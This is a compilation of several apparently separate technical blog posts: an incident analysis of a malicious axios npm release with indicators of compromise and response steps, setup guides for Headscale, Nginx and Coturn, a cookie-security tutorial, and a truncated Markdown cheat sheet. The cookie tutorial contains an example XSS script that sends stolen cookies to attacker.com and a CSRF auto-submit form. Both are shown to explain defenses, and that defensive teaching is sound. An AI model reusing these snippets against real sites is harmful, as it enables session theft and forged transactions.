This post is the full breakdown in one place:

• what happened
• why it happened
• who was involved (based on public reporting)
• how the attack flow worked end-to-end
• how it affected developers, CI pipelines, and organizations
• what to do now and how to prevent this class of incident

Quick Summary

If your environment installed the compromised versions, assume compromise until proven otherwise.

What Happened

This incident was not an axios code bug. It was a package publishing trust breach.

Public analysis across multiple sources indicates this flow:

1. An attacker gained access to an axios maintainer npm publishing path.
2. A package called plain-crypto-js was staged in advance.
3. Malicious plain-crypto-js@4.2.1 was published with a postinstall dropper.
4. Two axios versions were published with this dependency added:
   • axios@1.14.1
   • axios@0.30.4
5. On npm install, setup.js in the malicious dependency executed automatically.
6. The dropper contacted C2 and pulled platform-specific stage-2 payloads.
7. The package attempted anti-forensics cleanup to hide malicious traces.

This was fast, coordinated, and designed for scale.

Why It Happened

The root cause appears to be release pipeline trust failure, not application logic failure.

The major enabling factors were:

• A trusted maintainer publishing path was abused.
• A long-lived token/manual publish path appears to have been available.
• The malicious release looked like a normal semver update.
• npm lifecycle scripts (postinstall) execute code during install by design.
• Many projects accepted the poisoned versions via normal dependency resolution.

In short: attackers abused package trust and install-time code execution.

Who Did It

Based on public reporting:

• The compromised publishes were associated with the maintainer account path linked to jasonsaayman.
• Attacker-related emails reported in public analysis included ifstap@proton.me and nrwise@proton.me.
• The malicious dependency package was associated with plain-crypto-js.

Attribution to a specific threat group is still a separate intelligence question.

Some researchers have discussed possible overlap with DPRK-linked tradecraft, but this should be treated as investigative context, not final attribution, unless formally confirmed by authoritative sources.

Full Attack Flow (End-to-End)

Stage 0: Pre-staging

Attackers first published a clean-looking package version (plain-crypto-js@4.2.0) to establish package history and lower suspicion.

Stage 1: Weaponization

They then published plain-crypto-js@4.2.1 containing:

"scripts": {
  "postinstall": "node setup.js"
}

This is critical because postinstall runs automatically when npm installs the package.

Stage 2: Distribution through trusted package

Compromised axios releases added plain-crypto-js@^4.2.1 as a dependency.

Any environment resolving those versions pulled and executed the malicious dependency.

Stage 3: Execution

setup.js (obfuscated JavaScript) decoded runtime strings and executed platform-specific commands.

Reported behavior:

• platform detection
• C2 communication
• payload retrieval/launch for macOS, Windows, Linux

Stage 4: Anti-forensics

The installer attempted to erase or reduce obvious evidence:

• delete dropper artifacts
• replace manifest files with cleaner versions

This made post-install inspection harder and increased chance of false confidence.

Timeline (UTC, Consolidated)

Public sources align on this sequence:

• plain-crypto-js@4.2.0 published as clean decoy
• plain-crypto-js@4.2.1 published with malicious postinstall
• axios@1.14.1 published with malicious dependency
• axios@0.30.4 published shortly after (about 39 minutes)
• Community detection and maintainer/security response
• npm removed compromised versions after a short exposure window

Even a short exposure window was enough because CI runners and developer systems perform installs continuously.

How It Affected Real Systems

Developer machines

Any developer who ran npm install during exposure could have executed malware without direct interaction.

CI/CD pipelines

This is the highest-risk path because CI often has:

• cloud credentials
• deployment keys
• package publish tokens
• signing keys

Compromise in CI can become production compromise quickly.

Transitive dependency consumers

Teams did not need to explicitly depend on axios to be exposed. Transitive resolution was enough.

Observed impact

Security vendors publicly reported substantial real-world endpoint impact during this incident.

Detection and Triage

Start simple, then escalate.

1) Version and dependency checks

npm ls axios plain-crypto-js
npm ls -g axios

2) Lockfile checks

grep -R --line-number -E "axios@1\.14\.1|axios@0\.30\.4|plain-crypto-js" package-lock.json npm-shrinkwrap.json yarn.lock pnpm-lock.yaml 2>/dev/null

3) Git history checks

git log -p -- package-lock.json | grep -E "plain-crypto-js|axios@1\.14\.1|axios@0\.30\.4"

4) Host artifact checks

# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null

# Linux
ls -la /tmp/ld.py 2>/dev/null

# Windows PowerShell
Test-Path "$env:PROGRAMDATA\wt.exe"

5) Network IOC checks

netstat -an | grep "142.11.206.73"

Also query EDR, DNS, proxy, and firewall logs for historical beaconing patterns.

Indicators of Compromise (IOCs)

Likely host artifacts:

• macOS: /Library/Caches/com.apple.act.mond
• Windows: %PROGRAMDATA%\wt.exe
• Linux: /tmp/ld.py

IOCs are not exhaustive. Absence of one IOC does not prove safety.

What To Do If You Were Exposed

If compromised versions were installed, treat the host as potentially compromised.

Immediate response

1. Isolate affected endpoints/runners.
2. Block known IOC infrastructure.
3. Pause risky deployments from suspect pipelines.

Credential and secret response

Rotate:

• account passwords (GitHub, npm, cloud consoles, CI admin users, and email)
• npm tokens
• cloud/API keys
• SSH keys
• DB credentials/passwords
• CI secrets and signing material

Also revoke active sessions where possible and regenerate recovery codes for critical accounts.

Investigation and recovery

1. Audit build and deploy history in exposure window.
2. Review unusual commits, releases, and registry actions.
3. Rebuild affected systems from clean images where possible.
4. Preserve evidence for internal review and postmortem.

Do not rely on "remove package and continue" as a response strategy.

How To Prevent This Next Time

Layer controls instead of relying on one fix.

1) Lockfile discipline

• commit lockfiles
• use npm ci in CI
• block unexpected lockfile drift

2) Safer version policies

# .npmrc
save-exact=true

3) Lifecycle hardening

# .npmrc
ignore-scripts=true

Only use globally after validating compatibility. Some packages rely on install scripts.

4) Delay brand-new publishes

npm config set min-release-age 3

This helps reduce zero-day package ingestion risk.

5) Monitor dependency anomalies

Alert on:

• new transitive dependencies in critical packages
• unexpected publisher metadata changes
• publish path anomalies (trusted CI vs manual CLI)
• suspicious install scripts

6) Restrict CI egress

Runners should not have broad outbound internet by default.

If malware cannot reach C2, impact is significantly reduced.

Final Takeaway

This incident proved that dependency installation is an execution surface and must be treated like production attack surface.

Secure coding is necessary, but not sufficient.

Secure dependency intake, secure publishing trust, and fast incident response are now equally important.

References

• https://github.com/theNetworkChuck/axios-attack-guide
• https://socket.dev/blog/axios-npm-package-compromised
• https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
• https://github.com/axios/axios/issues/10604
• https://www.huntress.com/blog/supply-chain-compromise-axios-npm-package
• https://www.elastic.co/security-labs/axios-one-rat-to-rule-them-all

What is Headscale?

Headscale provides:

• A self-hosted alternative to Tailscale's coordination server
• Full control over your mesh network infrastructure
• WireGuard-based secure networking
• No dependency on third-party cloud services
• Support for all major Tailscale clients

If you want the benefits of Tailscale's mesh VPN but need to keep everything on your own infrastructure, Headscale is the solution.

Prerequisites

• Ubuntu/Debian server (or similar Linux distribution)
• Root or sudo access
• Domain name pointing to your server
• SSL certificate (we'll use Let's Encrypt)
• Open ports: 443 (HTTPS), 3478 (STUN)

Step 1: Install Headscale

Download and install the latest Headscale release:

HEADSCALE_VERSION="" # See above URL for latest version, e.g. "X.Y.Z" (NOTE: do not add the "v" prefix!)
HEADSCALE_ARCH="" # Your system architecture, e.g. "amd64"
wget --output-document=headscale.deb \
 "https://github.com/juanfont/headscale/releases/download/v${HEADSCALE_VERSION}/headscale_${HEADSCALE_VERSION}_linux_${HEADSCALE_ARCH}.deb"

Verify the installation:

headscale version

Step 2: Configure Nginx with SSL

Install Nginx and Certbot:

sudo apt update
sudo apt install nginx certbot python3-certbot-nginx -y

Create an Nginx config for Headscale:

sudo nano /etc/nginx/sites-available/headscale

Add the following configuration:

server {
    listen 80;
    server_name headscale.your-domain.com;

    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_buffering off;
        proxy_read_timeout 86400;
    }
}

Enable the site and obtain SSL certificate:

sudo ln -s /etc/nginx/sites-available/headscale /etc/nginx/sites-enabled/
sudo nginx -t
sudo systemctl reload nginx
sudo certbot --nginx -d headscale.your-domain.com

Certbot will automatically configure SSL and set up auto-renewal.

Step 3: Configure Headscale

Edit the configuration file:

sudo nano /etc/headscale/config.yaml

Here's a recommended configuration:

# Server configuration
server_url: https://headscale.your-domain.com
listen_addr: 127.0.0.1:8080
metrics_listen_addr: 127.0.0.1:9090

# gRPC settings
grpc_listen_addr: 127.0.0.1:50443
grpc_allow_insecure: false

# Database configuration
database:
  type: sqlite
  sqlite:
    path: /var/lib/headscale/db.sqlite

# TLS handled by Nginx reverse proxy
tls_cert_path: ""
tls_key_path: ""

# Noise protocol (required for newer clients)
noise:
  private_key_path: /var/lib/headscale/noise_private.key

# IP prefixes for your network
prefixes:
  v4: 100.64.0.0/10
  v6: fd7a:115c:a1e0::/48

# DERP configuration
derp:
  server:
    enabled: true
    region_id: 999
    region_code: "headscale"
    region_name: "Headscale Embedded DERP"
    stun_listen_addr: "0.0.0.0:3478"
    private_key_path: /var/lib/headscale/derp_server_private.key
    automatically_add_embedded_derp_region: true
    ipv4: YOUR_PUBLIC_IP
    ipv6: ""
  urls: []
  paths: []
  auto_update_enabled: true
  update_frequency: 24h

# Disable external DERP servers (optional, for full self-hosting)
# derp:
#   urls: []

# DNS configuration
dns:
  magic_dns: true
  base_domain: tailnet.your-domain.com
  nameservers:
    global:
      - 1.1.1.1
      - 8.8.8.8

# Log settings
log:
  format: text
  level: info

# Policy (ACLs) - optional
policy:
  mode: file
  path: ""

# Unix socket for CLI
unix_socket: /var/run/headscale/headscale.sock
unix_socket_permission: "0770"

Replace the following values:

• headscale.your-domain.com with your actual domain
• YOUR_PUBLIC_IP with your server's public IP address
• tailnet.your-domain.com with your preferred MagicDNS base domain

Step 4: Create Required Directories

sudo mkdir -p /var/lib/headscale
sudo mkdir -p /var/run/headscale
sudo chown -R headscale:headscale /var/lib/headscale
sudo chown -R headscale:headscale /var/run/headscale

Step 5: Configure Firewall

Allow the necessary ports:

sudo ufw allow 'Nginx Full'
sudo ufw allow 3478/udp
sudo ufw reload

For cloud providers, ensure your security groups allow:

• TCP: 80, 443 (HTTP/HTTPS via Nginx)
• UDP: 3478 (STUN for DERP)

Step 6: Start Headscale

Enable and start the service:

sudo systemctl enable headscale
sudo systemctl start headscale
sudo systemctl status headscale

Check the logs for any errors:

sudo journalctl -u headscale -f

Step 7: Create a User

Headscale organizes devices by users. Create your first user:

sudo headscale users create myuser

List users:

sudo headscale users list

Step 8: Generate Pre-Authentication Keys

Pre-auth keys allow devices to join without manual approval:

# Create a reusable key (expires in 24 hours by default)
sudo headscale preauthkeys create --user myuser --reusable --expiration 24h

For a one-time use key:

sudo headscale preauthkeys create --user myuser --expiration 1h

List existing keys:

sudo headscale preauthkeys list --user myuser

Step 9: Connect Tailscale Clients

Linux Client

Install Tailscale:

curl -fsSL https://tailscale.com/install.sh | sh

Connect to your Headscale server:

sudo tailscale up --login-server https://headscale.your-domain.com --authkey YOUR_PREAUTH_KEY

Or without a pre-auth key (requires manual approval):

sudo tailscale up --login-server https://headscale.your-domain.com

Then approve the node on the server:

sudo headscale nodes register --user myuser --key nodekey:XXXXX

macOS Client

Install Tailscale from the App Store or via Homebrew:

brew install tailscale

Connect using the CLI:

tailscale up --login-server https://headscale.your-domain.com --authkey YOUR_PREAUTH_KEY

Windows Client

1. Download Tailscale from tailscale.com/download
2. Open PowerShell as Administrator
3. Run:

tailscale up --login-server https://headscale.your-domain.com --authkey YOUR_PREAUTH_KEY

iOS and Android

For mobile devices, you'll need to use the web-based registration flow:

1. Install Tailscale from the App Store or Play Store
2. On your server, generate a registration URL:

sudo headscale nodes register --user myuser --key nodekey:XXXXX

3. Open the Tailscale app and use the custom login server option

Step 10: Managing Nodes

List all connected nodes:

sudo headscale nodes list

Delete a node:

sudo headscale nodes delete --identifier NODE_ID

Rename a node:

sudo headscale nodes rename --identifier NODE_ID "new-hostname"

Move a node to a different user:

sudo headscale nodes move --identifier NODE_ID --user newuser

Step 11: Enable Exit Nodes (Optional)

To use a node as an exit node for routing all traffic:

On the exit node:

sudo tailscale up --login-server https://headscale.your-domain.com --advertise-exit-node

Approve the exit node on the server:

sudo headscale routes enable --route "0.0.0.0/0" --identifier NODE_ID
sudo headscale routes enable --route "::/0" --identifier NODE_ID

On client devices, use the exit node:

tailscale up --exit-node=EXIT_NODE_IP

Step 12: Configure Access Control (ACLs)

Create an ACL policy file:

sudo nano /etc/headscale/acl.json

Example policy allowing all users to communicate:

{
  "acls": [
    {
      "action": "accept",
      "src": ["*"],
      "dst": ["*:*"]
    }
  ],
  "tagOwners": {},
  "hosts": {}
}

Update the config to use the ACL file:

policy:
  mode: file
  path: /etc/headscale/acl.json

Restart Headscale:

sudo systemctl restart headscale

Troubleshooting

Connection Issues

Check if the server is reachable:

curl -I https://headscale.your-domain.com/health

Certificate Errors

Verify certificate validity:

openssl s_client -connect headscale.your-domain.com:443 -servername headscale.your-domain.com

Client Not Connecting

Check client logs:

# Linux
sudo journalctl -u tailscaled -f

# macOS
log stream --predicate 'subsystem == "com.tailscale.ipn.macos"'

DERP Connectivity

Test if DERP is working:

# On the server, check if STUN port is listening
sudo ss -tulpn | grep 3478

View Server Logs

sudo journalctl -u headscale -f --no-pager

Security Considerations

• Keep Headscale updated to the latest version
• Use strong, unique pre-auth keys
• Set appropriate expiration times for pre-auth keys
• Implement ACLs to restrict network access
• Regularly audit connected nodes
• Enable automatic certificate renewal
• Consider running Headscale behind a reverse proxy for additional security

Conclusion

Headscale provides a powerful self-hosted alternative to Tailscale's coordination server. With this setup, you have complete control over your mesh VPN infrastructure while still benefiting from Tailscale's excellent client software and WireGuard's security.

The combination of Headscale's simplicity and Tailscale's cross-platform clients makes it an excellent choice for homelab enthusiasts, small teams, or organizations that need to keep their network infrastructure fully self-hosted.

Remember to keep your server updated, monitor your logs, and regularly backup your configuration and database!

Understanding Cookie Security Attributes

Modern web applications face threats like Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). Cookie security attributes are your first line of defense against these attacks.

The Three Essential Attributes

• httpOnly: Prevents JavaScript from accessing cookies
• secure: Ensures cookies are only sent over HTTPS
• sameSite: Controls when cookies are sent with cross-site requests

HttpOnly: Protecting Against XSS Attacks

The httpOnly attribute prevents client-side JavaScript from accessing cookies through document.cookie. This is crucial for protecting sensitive tokens like session IDs.

Without HttpOnly (Vulnerable)

// Attacker's malicious script injected via XSS
const stolenToken = document.cookie;
fetch("https://attacker.com/steal", {
  method: "POST",
  body: JSON.stringify({ token: stolenToken }),
});

If your authentication cookie lacks httpOnly, an attacker who successfully injects JavaScript can steal it immediately.

With HttpOnly (Protected)

// Server-side: Node.js/Express example
res.cookie("authToken", token, {
  httpOnly: true, // JavaScript cannot access this cookie
  maxAge: 24 * 60 * 60 * 1000, // 24 hours
});

Now even if an attacker injects malicious JavaScript, document.cookie won’t reveal the authentication token.

Secure: HTTPS-Only Transmission

The secure attribute ensures cookies are only transmitted over encrypted HTTPS connections, preventing man-in-the-middle attacks.

The Risk Without Secure

If a user connects over HTTP (even accidentally), cookies without the secure flag are transmitted in plain text. An attacker on the same network can intercept them.

Implementation

res.cookie("authToken", token, {
  httpOnly: true,
  secure: true, // Only sent over HTTPS
  maxAge: 24 * 60 * 60 * 1000,
});

Important: In development, you might use HTTP. Handle this conditionally:

res.cookie("authToken", token, {
  httpOnly: true,
  secure: process.env.NODE_ENV === "production",
  maxAge: 24 * 60 * 60 * 1000,
});

SameSite: CSRF Protection

The sameSite attribute controls whether cookies are sent with cross-site requests, protecting against CSRF attacks.

SameSite Values

• Strict: Cookie is never sent on cross-site requests
• Lax: Cookie is sent only on top-level navigation with safe HTTP methods (GET)
• None: Cookie is always sent (requires secure attribute)

Understanding CSRF

Imagine a user is logged into yourbank.com. They visit evil.com, which contains:

<form action="https://yourbank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="10000" />
  <input type="hidden" name="to" value="attacker-account" />
</form>
<script>
  document.forms[0].submit();
</script>

Without sameSite protection, the browser automatically includes the authentication cookie with this malicious request.

Protection with SameSite

res.cookie("authToken", token, {
  httpOnly: true,
  secure: true,
  sameSite: "strict", // Blocks cross-site requests entirely
  maxAge: 24 * 60 * 60 * 1000,
});

Choosing the Right SameSite Value

Use Strict when: You want maximum security and your application doesn’t need cookies on cross-site navigation (like internal dashboards).

Use Lax when: You need cookies on initial navigation from external sites (common for most web applications). This is the default in modern browsers.

Use None when: You need cookies in cross-site contexts (like embedded iframes or third-party integrations). Must be combined with secure.

Real-World Authentication Example

Let’s build a complete authentication system with properly configured cookies.

Backend: Express.js Authentication

const express = require("express");
const jwt = require("jsonwebtoken");
const bcrypt = require("bcrypt");
const cookieParser = require("cookie-parser");

const app = express();
app.use(express.json());
app.use(cookieParser());

const JWT_SECRET = process.env.JWT_SECRET;
const REFRESH_SECRET = process.env.REFRESH_SECRET;

// Login endpoint
app.post("/api/auth/login", async (req, res) => {
  const { email, password } = req.body;

  // Validate credentials (simplified)
  const user = await User.findOne({ email });
  if (!user || !(await bcrypt.compare(password, user.passwordHash))) {
    return res.status(401).json({ error: "Invalid credentials" });
  }

  // Generate tokens
  const accessToken = jwt.sign(
    { userId: user.id, email: user.email },
    JWT_SECRET,
    { expiresIn: "15m" },
  );

  const refreshToken = jwt.sign({ userId: user.id }, REFRESH_SECRET, {
    expiresIn: "7d",
  });

  // Set secure cookies
  res.cookie("accessToken", accessToken, {
    httpOnly: true,
    secure: process.env.NODE_ENV === "production",
    sameSite: "strict",
    maxAge: 15 * 60 * 1000, // 15 minutes
  });

  res.cookie("refreshToken", refreshToken, {
    httpOnly: true,
    secure: process.env.NODE_ENV === "production",
    sameSite: "strict",
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
  });

  res.json({
    success: true,
    user: { id: user.id, email: user.email },
  });
});

// Protected route middleware
const authenticate = (req, res, next) => {
  const token = req.cookies.accessToken;

  if (!token) {
    return res.status(401).json({ error: "Not authenticated" });
  }

  try {
    const decoded = jwt.verify(token, JWT_SECRET);
    req.user = decoded;
    next();
  } catch (error) {
    return res.status(401).json({ error: "Invalid token" });
  }
};

// Token refresh endpoint
app.post("/api/auth/refresh", async (req, res) => {
  const refreshToken = req.cookies.refreshToken;

  if (!refreshToken) {
    return res.status(401).json({ error: "No refresh token" });
  }

  try {
    const decoded = jwt.verify(refreshToken, REFRESH_SECRET);

    // Generate new access token
    const newAccessToken = jwt.sign({ userId: decoded.userId }, JWT_SECRET, {
      expiresIn: "15m",
    });

    res.cookie("accessToken", newAccessToken, {
      httpOnly: true,
      secure: process.env.NODE_ENV === "production",
      sameSite: "strict",
      maxAge: 15 * 60 * 1000,
    });

    res.json({ success: true });
  } catch (error) {
    return res.status(401).json({ error: "Invalid refresh token" });
  }
});

// Logout endpoint
app.post("/api/auth/logout", (req, res) => {
  res.clearCookie("accessToken");
  res.clearCookie("refreshToken");
  res.json({ success: true });
});

// Protected route example
app.get("/api/user/profile", authenticate, (req, res) => {
  res.json({ user: req.user });
});

app.listen(3000, () => console.log("Server running on port 3000"));

Frontend: React Authentication

import { useState } from "react";

function LoginForm() {
  const [email, setEmail] = useState("");
  const [password, setPassword] = useState("");
  const [error, setError] = useState("");

  const handleLogin = async (e) => {
    e.preventDefault();

    try {
      const response = await fetch("http://localhost:3000/api/auth/login", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        credentials: "include", // Important: sends cookies
        body: JSON.stringify({ email, password }),
      });

      if (!response.ok) {
        throw new Error("Login failed");
      }

      const data = await response.json();
      console.log("Logged in successfully:", data.user);
      // Redirect to dashboard
    } catch (err) {
      setError(err.message);
    }
  };

  return (
    <form onSubmit={handleLogin}>
      <input
        type="email"
        value={email}
        onChange={(e) => setEmail(e.target.value)}
        placeholder="Email"
        required
      />
      <input
        type="password"
        value={password}
        onChange={(e) => setPassword(e.target.value)}
        placeholder="Password"
        required
      />
      <button type="submit">Login</button>
      {error && <p className="error">{error}</p>}
    </form>
  );
}

// API utility with automatic token refresh
async function authenticatedFetch(url, options = {}) {
  const response = await fetch(url, {
    ...options,
    credentials: "include",
  });

  if (response.status === 401) {
    // Try to refresh token
    const refreshResponse = await fetch(
      "http://localhost:3000/api/auth/refresh",
      {
        method: "POST",
        credentials: "include",
      },
    );

    if (refreshResponse.ok) {
      // Retry original request
      return fetch(url, {
        ...options,
        credentials: "include",
      });
    }

    // Refresh failed, redirect to login
    window.location.href = "/login";
    throw new Error("Authentication failed");
  }

  return response;
}

// Usage example
function UserProfile() {
  const [profile, setProfile] = useState(null);

  useEffect(() => {
    authenticatedFetch("http://localhost:3000/api/user/profile")
      .then((res) => res.json())
      .then((data) => setProfile(data.user))
      .catch((err) => console.error(err));
  }, []);

  return profile ? <div>Welcome, {profile.email}</div> : <div>Loading...</div>;
}

CORS Configuration for Cookie-Based Auth

When using cookies with a separate frontend and backend, configure CORS properly:

const cors = require("cors");

app.use(
  cors({
    origin: "http://localhost:5173", // Your frontend URL
    credentials: true, // Allow cookies
  }),
);

Common Pitfalls and Solutions

Issue: Cookies Not Being Set

Problem: Frontend doesn’t receive cookies after login.

Solution: Ensure you’re using credentials: 'include' in fetch requests and have proper CORS configuration.

Issue: Cookies Not Sent with Requests

Problem: Authenticated requests fail even after login.

Solution: Always include credentials: 'include' in fetch options and verify sameSite compatibility.

Issue: SameSite Strict Blocking Legitimate Requests

Problem: Users redirected from external sites (like email links) lose authentication.

Solution: Use sameSite: 'lax' instead of strict, or implement a hybrid approach with different cookies for different purposes.

Security Best Practices Checklist

• Always use all three attributes together for authentication cookies
• Keep access tokens short-lived (15 minutes or less)
• Use refresh tokens for extended sessions
• Implement token rotation on refresh
• Clear cookies on logout
• Use HTTPS in production (required for secure attribute)
• Consider additional CSRF tokens for state-changing operations
• Regularly rotate signing secrets
• Monitor for suspicious authentication patterns
• Implement rate limiting on authentication endpoints

Testing Cookie Security

Test your cookie configuration using browser DevTools:

1. Open DevTools (F12)
2. Navigate to Application tab
3. Find Cookies in the sidebar
4. Verify attributes are set correctly
5. Try accessing cookies via console with document.cookie

If httpOnly is properly configured, your authentication cookies won’t appear in the console output.

Conclusion

Cookie security attributes are not optional—they’re essential for protecting user sessions and preventing common web vulnerabilities. By combining httpOnly, secure, and sameSite attributes, you create multiple layers of defense against XSS and CSRF attacks.

Remember that cookie security is just one part of a comprehensive security strategy. Always validate input, sanitize output, use parameterized queries, keep dependencies updated, and follow security best practices throughout your application.

Implement these patterns consistently, and you’ll significantly reduce your application’s attack surface while providing a secure authentication experience for your users.​​​​​​​​​​​​​​​​

What is Nginx?

Nginx is:

• A web server
• A reverse proxy
• A load balancer
• An SSL termination layer

It is commonly used to expose backend applications running on ports like 3000, 4000, etc.

Prerequisites

• Ubuntu / Debian based Linux
• Root or sudo access
• A running backend/frontend/DB service (Node.js, Next.js, API, etc.)
• Optional: Domain name

Step 1: Install Nginx

Update the system and install Nginx:

sudo apt update
sudo apt install nginx -y

Check if it's running:

sudo systemctl status nginx

Open your server IP in the browser — you should see the Nginx welcome page.

Step 2: Understanding Nginx File Structure

Important paths:

/etc/nginx/
├── nginx.conf
├── sites-available/
├── sites-enabled/
├── conf.d/
└── modules-enabled/

• sites-available → All virtual host configs
• sites-enabled → Active configs (symlinks)
• nginx.conf → Main configuration file

Step 3: Create a Reverse Proxy Config

Create a new site config:

sudo nano /etc/nginx/sites-available/myapp

Paste this configuration:

server {
    listen 80;
    server_name your-domain.com;

    location / {
        proxy_pass http://127.0.0.1:3000;
        proxy_http_version 1.1;

        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_set_header Host $host;

        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

Replace:

• your-domain.com with your actual domain
• 3000 with your service port

Step 4: Enable the Site

Create a symlink:

sudo ln -s /etc/nginx/sites-available/myapp /etc/nginx/sites-enabled/

Test configuration:

sudo nginx -t

Reload Nginx:

sudo systemctl reload nginx

Step 5: Common systemctl Commands

sudo systemctl start nginx
sudo systemctl stop nginx
sudo systemctl restart nginx
sudo systemctl reload nginx
sudo systemctl enable nginx
sudo systemctl disable nginx

Check logs:

journalctl -u nginx -f

Step 6: Custom Error Pages (Optional)

Create an error page:

sudo nano /var/www/html/50x.html

Example HTML content:

<h1>Service Temporarily Unavailable</h1>
<p>Please try again later.</p>

Add to your server block:

error_page 502 503 504 /50x.html;

location = /50x.html {
    root /var/www/html;
}

Reload Nginx:

sudo systemctl reload nginx

Step 7: Firewall Configuration

sudo ufw allow 'Nginx Full'
sudo ufw reload

Important: Be careful not to lose your SSH access when configuring firewall rules!

Common Issues & Fixes

Bad Gateway (502)

Common causes:

• Backend service not running
• Wrong port in proxy_pass
• App bound to localhost incorrectly

Config Not Loading

Always test your configuration before reloading:

sudo nginx -t

This will check for syntax errors in your Nginx configuration files.

Conclusion

Nginx is a powerful tool that transforms your application from a localhost project into a production-ready service. With reverse proxy configuration and systemd management, you can serve your apps securely, scale efficiently, and handle failures gracefully.

Whether you're deploying a Next.js app, a Node.js API, or any web service — mastering Nginx is essential for modern deployment workflows. Keep experimenting, monitor your logs, and your deployments will become second nature!

What is TURN?

TURN is a protocol that allows peers behind NATs or firewalls to communicate by relaying media through a server. It's often used alongside STUN servers for WebRTC applications.

Prerequisites

• Ubuntu/Debian server (or similar Linux distribution)
• Root or sudo access
• Domain name with SSL certificate (Can get one using Let's Encrypt)
• Public IP address

Step 1: Install Coturn

First, update your system and install Coturn:

sudo apt update
sudo apt upgrade -y
sudo apt install coturn -y

Step 2: Configure SSL Certificate

Install Certbot for Let's Encrypt certificates:

sudo apt install certbot -y
sudo certbot certonly --standalone -d your-domain.com

Replace your-domain.com with your actual domain name.

Set Proper Permissions for SSL Certificates

Coturn needs to read the SSL certificates, so set the correct ownership:

sudo chown turnserver:turnserver /etc/letsencrypt/live/your-domain.com/
sudo chown turnserver:turnserver /etc/letsencrypt/live/your-domain.com/*
sudo chmod 644 /etc/letsencrypt/live/your-domain.com/*.pem

Step 3: Configure Coturn

Create the configuration file:

sudo nano /etc/turnserver.conf

Add the following configuration (replace with your actual values):

# === REALM & AUTH ===
realm=your-domain.com
server-name=turn-server
lt-cred-mech
fingerprint

# === LISTENING CONFIGURATION ===
listening-port=3478
tls-listening-port=5349
listening-ip=0.0.0.0

# === CRITICAL FIX: RELAY & EXTERNAL IPs ===
relay-ip=YOUR_PRIVATE_IP
external-ip=YOUR_PUBLIC_IP/YOUR_PRIVATE_IP

# === CREDENTIALS ===
user=turnuser:securepassword123

# === CERTIFICATES ===
cert=/etc/letsencrypt/live/your-domain.com/fullchain.pem
pkey=/etc/letsencrypt/live/your-domain.com/privkey.pem

# === PORT RANGE ===
min-port=49152
max-port=65535

# === LOGGING ===
log-file=/var/log/turnserver/turn.log
verbose

# === SECURITY & BEHAVIOR ===
no-rfc5780
no-stun-backward-compatibility
response-origin-only-with-rfc5780
syslog
no-multicast-peers

# === CLI PASSWORD (IF REQUIRED) ===
cli-password=your-password

# === ALLOCATION TIMEOUT ===
stale-nonce=3600
bps-capacity=0

max-bps=3000000
user-quota=0
total-quota=0

Key Configuration Options Explained:

• realm: Your domain name
• relay-ip: Your server's private IP address
• external-ip: Public IP followed by private IP (separated by slash)
• user: Username and password for TURN authentication
• cert/pkey: Paths to your SSL certificates

Step 4: Set Up Logging Directory

Create the log directory and set permissions:

sudo mkdir -p /var/log/turnserver
sudo chown turnserver:turnserver /var/log/turnserver

Step 5: Configure Firewall

Allow the necessary ports through your firewall:

sudo ufw allow 3478/tcp
sudo ufw allow 3478/udp
sudo ufw allow 5349/tcp
sudo ufw allow 5349/udp
sudo ufw allow 49152:65535/udp

Cloud Provider Security Rules

If deploying on a cloud provider (AWS, Azure, etc.), configure your security groups or network security groups to allow inbound traffic on the following ports (adjust source IPs as needed for security):

• TCP and UDP: 3478
• TCP and UDP: 5349
• UDP: 49152-65535

Outbound rules should allow all traffic, which is the default in most cloud providers and sufficient for TURN server operation.

Step 6: Start and Enable Coturn Service

sudo systemctl enable coturn
sudo systemctl start coturn
sudo systemctl status coturn

Step 7: Test Your TURN Server

You can test your TURN server using tools like Trickle ICE or command-line tools.

Using turnutils

sudo apt install turnutils -y
turnutils_uclient -t -u turnuser -w securepassword123 your-domain.com

Troubleshooting

Common Issues:

1. Port binding errors: Check if ports are already in use
2. Certificate errors: Ensure certificate paths are correct
3. Connection failures: Verify firewall rules and IP configurations

Check logs:

sudo tail -f /var/log/turnserver/turn.log

Security Considerations

• Use strong passwords for TURN credentials
• Keep SSL certificates up to date
• Monitor server logs for suspicious activity
• Consider using a dedicated user for TURN operations

Usage in WebRTC Applications

In your WebRTC application, configure the ICE servers like this:

const iceServers = [
  {
    urls: "stun:stun.l.google.com:19302",
  },
  {
    urls: "turn:your-domain.com:5349",
    username: "turnuser",
    credential: "securepassword123",
  },
];

const peerConnection = new RTCPeerConnection({ iceServers });

Conclusion

Setting up a TURN server ensures your WebRTC applications work reliably across all network configurations. Coturn is a robust, open-source solution that handles the complexities of NAT traversal for you.

Remember to replace all placeholder values with your actual domain, IPs, and secure passwords before deploying to production!

Text Formatting

How to Write

- **Bold text** using double asterisks
- _Italic text_ using underscores
- **_Bold and italic_** combining bold and italic
- ~~Strikethrough~~ using double tildes

Result

• Bold text using double asterisks
• Italic text using underscores
• Bold and italic combining bold and italic
• Strikethrough using double tildes

Lists

Unordered Lists

How to Write

- Item 1
- Item 2
  - Nested item 2.1
  - Nested item 2.2
- Item 3

Result

• Item 1
• Item 2
  • Nested item 2.1
  • Nested item 2.2
• Item 3

Ordered Lists

How to Write

1. First item
2. Second item
3. Third item

Result

1. First item
2. Second item
3. Third item

Code Blocks

Inline Code

How to Write

Use `console.log()` for debugging.

Result

Use console.log() for debugging.

JavaScript

How to Write

```javascript
const greeting = "Hello, World!";
console.log(greeting);
```

Result

const greeting = "Hello, World!";
console.log(greeting);

Python

How to Write

```python
def hello_world():
    print("Hello, World!")
```

Result

def hello_world():
    print("Hello, World!")

Bash

How to Write

```bash
echo "Hello, World!"
ls -la
